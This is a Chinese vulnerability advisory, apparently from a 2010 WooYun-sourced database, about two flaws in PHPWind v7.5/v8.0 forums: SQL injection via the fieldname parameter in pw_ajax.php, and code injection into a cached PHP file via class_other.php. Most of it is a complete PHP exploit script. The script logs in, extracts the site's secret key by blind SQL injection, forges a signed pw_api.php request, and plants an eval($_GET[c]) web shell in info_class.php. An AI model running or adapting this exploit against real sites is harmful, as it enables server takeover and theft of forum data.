PHPWind论坛系统远程代码执行漏洞


添加时间:
2010-09-06

系统编号:
WAVDB-01696

影响版本:
PHPWind v7.5 / v8.0

程序介绍:

PHPWind是一款国内比较流行的基于PHP的Web论坛程序。

漏洞分析:

pw_ajax.php中的

 
  1. elseif ($action == 'pcdelimg') {  
  2.   
  3.     InitGP(array('fieldname','pctype'));  
  4.   
  5.     InitGP(array('tid','id'),2);  
  6.   
  7.     if (!$tid || !$id || !$fieldname || !$pctype) {  
  8.   
  9.         echo 'fail';  
  10.   
  11.     }  
  12.   
  13.     $id = (int)$id;  
  14.   
  15.     if ($pctype == 'topic') {  
  16.   
  17.         $tablename = GetTopcitable($id);  
  18.   
  19.     } elseif ($pctype == 'postcate') {  
  20.   
  21.         $tablename = GetPcatetable($id);  
  22.   
  23.     }  
  24.   
  25.   
  26.   
  27.     $path = $db->get_value("SELECT $fieldname FROM $tablename WHERE tid=". pwEscape($tid));  
fieldname未经任何有效的过滤,利用该注射可以获取任何数据库里的数据。
另外class_other.php中存在一个任意命令执行的漏洞
 
  1. function threadscateGory($classdb) {//生成帖子交换分类  
  2.   
  3.       
  4.   
  5.         $classcache = "<?php\r\n\$info_class=array(\r\n";  
  6.   
  7.   
  8.   
  9.         foreach ($classdb as $key => $class) {  
  10.   
  11.   
  12.   
  13.             !$class['ifshow'] && $class['ifshow'] = '0';  
  14.   
  15.             $flag && $info_class[$class['cid']]['ifshow'] && $class['ifshow'] = '1';  
  16.   
  17.   
  18.   
  19.             $class['name'] = str_replace(array('"',"'"),array(""","'"),$class['name']);  
  20.   
  21.             $classcache .= "'$class[cid]'=>".pw_var_export($class).",\r\n\r\n";  
  22.   
  23.         }  
  24.   
  25.         $classcache .= ");\r\n?>";  
  26.   
  27.         writeover(D_P."data/bbscache/info_class.php",$classcache);  
  28.   
  29.     }  
$class[cid]未经过滤,进入此逻辑需要一些较为关键的key,借助上面的注射漏洞即可获得该key


漏洞利用:

 
  1. <?php  
  2.   
  3. echo "   
  4.   
  5. Info: Poc for Phpwind远程命令执行  
  6.   
  7. Test: exploit.php user password http://www.wooyun.org/phpwind/  
  8.   
  9. ";  
  10.   
  11.   
  12.   
  13. if($argc<3){  
  14.   
  15.     echo "\r\n参数缺少\r\n";  
  16.   
  17.     die();  
  18.   
  19. }  
  20.   
  21. $user=$argv[1];  
  22.   
  23. $pass=$argv[2];  
  24.   
  25. $pwurl=$argv[3];  
  26.   
  27.   
  28.   
  29. $myheader=array(  
  30.   
  31.         'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',  
  32.   
  33.         'Accept-Language: zh-cn,zh;q=0.5',  
  34.   
  35.         'Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7',  
  36.   
  37.         'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',  
  38.   
  39.         'Referer: http://www.wooyun.org/',  
  40.   
  41.         'Connection: Keep-Alive',   
  42.   
  43.         'Cache-Control: no-cache',  
  44.   
  45.         'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2)'  
  46.   
  47.     );  
  48.   
  49. $cookie="";  
  50.   
  51.   
  52.   
  53. $str=curlsend("$pwurl/login.php?","POST",0,$myheader,"forward=&jumpurl=http%3A%2F%2F127.0.0.1%2FPHPWind/upload%2F&step=2&lgt=0&pwuser=$user&pwpwd=$pass&hideid=0&cktime=31536000&submit=%B5%C7%C2%BC",1);  
  54.   
  55. preg_match_all("/Set-Cookie:([^;]+)/is",$str,$array);  
  56.   
  57. for($i=0;$i<count($array[1]);$i++){  
  58.   
  59.     $cookie=$cookie.";".$array[1][$i];  
  60.   
  61. }  
  62.   
  63.   
  64.   
  65. //echo $cookie;  
  66.   
  67.   
  68.   
  69. $test = curlsend('$pwurl/pw_ajax.php',"POST",0,$myheader,'',1);  
  70.   
  71.   
  72.   
  73. if(strpos($test,'<ajax>')) {  
  74.   
  75.     die('用户密码或者其他参数错误');  
  76.   
  77. }  
  78.   
  79.   
  80.   
  81. $shellcode="action=pcdelimg&fieldname=db_value%20from%20pw_config%20where%20db_name%20like%200x64625f736974656f776e65726964%20and%20db_value%20like%200x{offset}25%20union%20select%200x612e2e;%23";  
  82.   
  83.   
  84.   
  85. $hash="0123456789abcdef";  
  86.   
  87. $craked="";  
  88.   
  89.   
  90.   
  91. for($i=0;$i<32;$i++){  
  92.   
  93.     for($n=0;$n<16;$n++){  
  94.   
  95.         $tmp=str_replace("{offset}",bin2hex($craked.$hash[$n]),$shellcode);  
  96.   
  97.         $tmp=curlsend("$pwurl/pw_ajax.php","POST",0,$myheader,$tmp,0);  
  98.   
  99.         if(strpos($tmp,"pw_config")){  
  100.   
  101.             echo "CrackEd Offset ".($i+1)." :".$hash[$n]."\r\n";  
  102.   
  103.             $craked=$craked.$hash[$n];  
  104.   
  105.             break;  
  106.   
  107.         }  
  108.   
  109.     }  
  110.   
  111. }  
  112.   
  113.   
  114.   
  115. echo "Craked Magicdata :".$craked."\r\n";  
  116.   
  117.   
  118.   
  119. echo "Get shell :";  
  120.   
  121.   
  122.   
  123. //another 0day  
  124.   
  125. $arg='';  
  126.   
  127. $hack = array();  
  128.   
  129. $hack['mode'] = 'Other';  
  130.   
  131. $hack['method'] = 'threadscateGory';  
  132.   
  133. $hack['params'] = 'a:1:{s:3:"cid";a:1:{s:3:"cid";a:1:{s:3:"cid";s:21:"\'.eval($_GET[c]).\'abc";}}}';  
  134.   
  135. $hack['type'] = 'app';  
  136.   
  137. $hack = strips($hack);  
  138.   
  139. ksort($hack);  
  140.   
  141. reset($hack);  
  142.   
  143. foreach ($hack as $key => $value) {  
  144.   
  145.     if ($value && $key != 'sig') {  
  146.   
  147.         $arg .= "$key=$value&";  
  148.   
  149.     }  
  150.   
  151. }  
  152.   
  153.   
  154.   
  155. $arg.='sig='.md5($arg.$craked);  
  156.   
  157.   
  158.   
  159. echo file_get_contents("$pwurl/pw_api.php?".$arg);  
  160.   
  161. echo "OK\r\n";  
  162.   
  163.   
  164.   
  165. $str=file_get_contents("$pwurl/data/bbscache/info_class.php?c=echo%20Just_wooyun;");  
  166.   
  167. if(strpos($str,'wooyun')){  
  168.   
  169.     echo "Got shell :"."$pwurl/data/bbscache/info_class.php?c=phpinfo();";  
  170.   
  171.     echo "\r\nOver!";  
  172.   
  173. }  
  174.   
  175.   
  176.   
  177.   
  178.   
  179. function strips($param) {  
  180.   
  181.     if (is_array($param)) {  
  182.   
  183.         foreach ($param as $key => $value) {  
  184.   
  185.             $param[$key] = strips($value);  
  186.   
  187.         }  
  188.   
  189.     } else {  
  190.   
  191.         $param = stripslashes($param);  
  192.   
  193.     }  
  194.   
  195.     return $param;  
  196.   
  197. }  
  198.   
  199.   
  200.   
  201. function curlsend($url,$method=false,$ssl=0,$myheader,$data='',$header=0){  
  202.   
  203. global $cookie;  
  204.   
  205. $ch = curl_init();  
  206.   
  207.   
  208.   
  209. $timeout = 0; // set to zero for no timeout  
  210.   
  211. curl_setopt ($ch, CURLOPT_URL, $url);  
  212.   
  213. curl_setopt ($ch, CURLOPT_POST, $method);  
  214.   
  215. curl_setopt($ch,CURLOPT_HTTPHEADER,$myheader);  
  216.   
  217. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);  
  218.   
  219. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);  
  220.   
  221. curl_setopt ($ch, CURLOPT_COOKIE, $cookie);  
  222.   
  223. if($data){  
  224.   
  225. curl_setopt ($ch, CURLOPT_POSTFIELDS,$data);  
  226.   
  227. }  
  228.   
  229. curl_setopt ($ch, CURLOPT_HEADER, $header);  
  230.   
  231. if($ssl){  
  232.   
  233.     curl_setopt($ch,  CURLOPT_SSL_VERIFYPEER,  FALSE);  
  234.   
  235. }  
  236.   
  237.   
  238.   
  239. $handles = curl_exec($ch);  
  240.   
  241. curl_close($ch);  
  242.   
  243. //echo $handles;  
  244.   
  245. return $handles;  
  246.   
  247.   
  248.   
  249. }  
 

解决方案:
厂商补丁:
PHPWind
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpwind.net/

信息来源:
<*来源:WooYun
链接:http://www.wooyun.org/bug.php?action=view&id=417
*>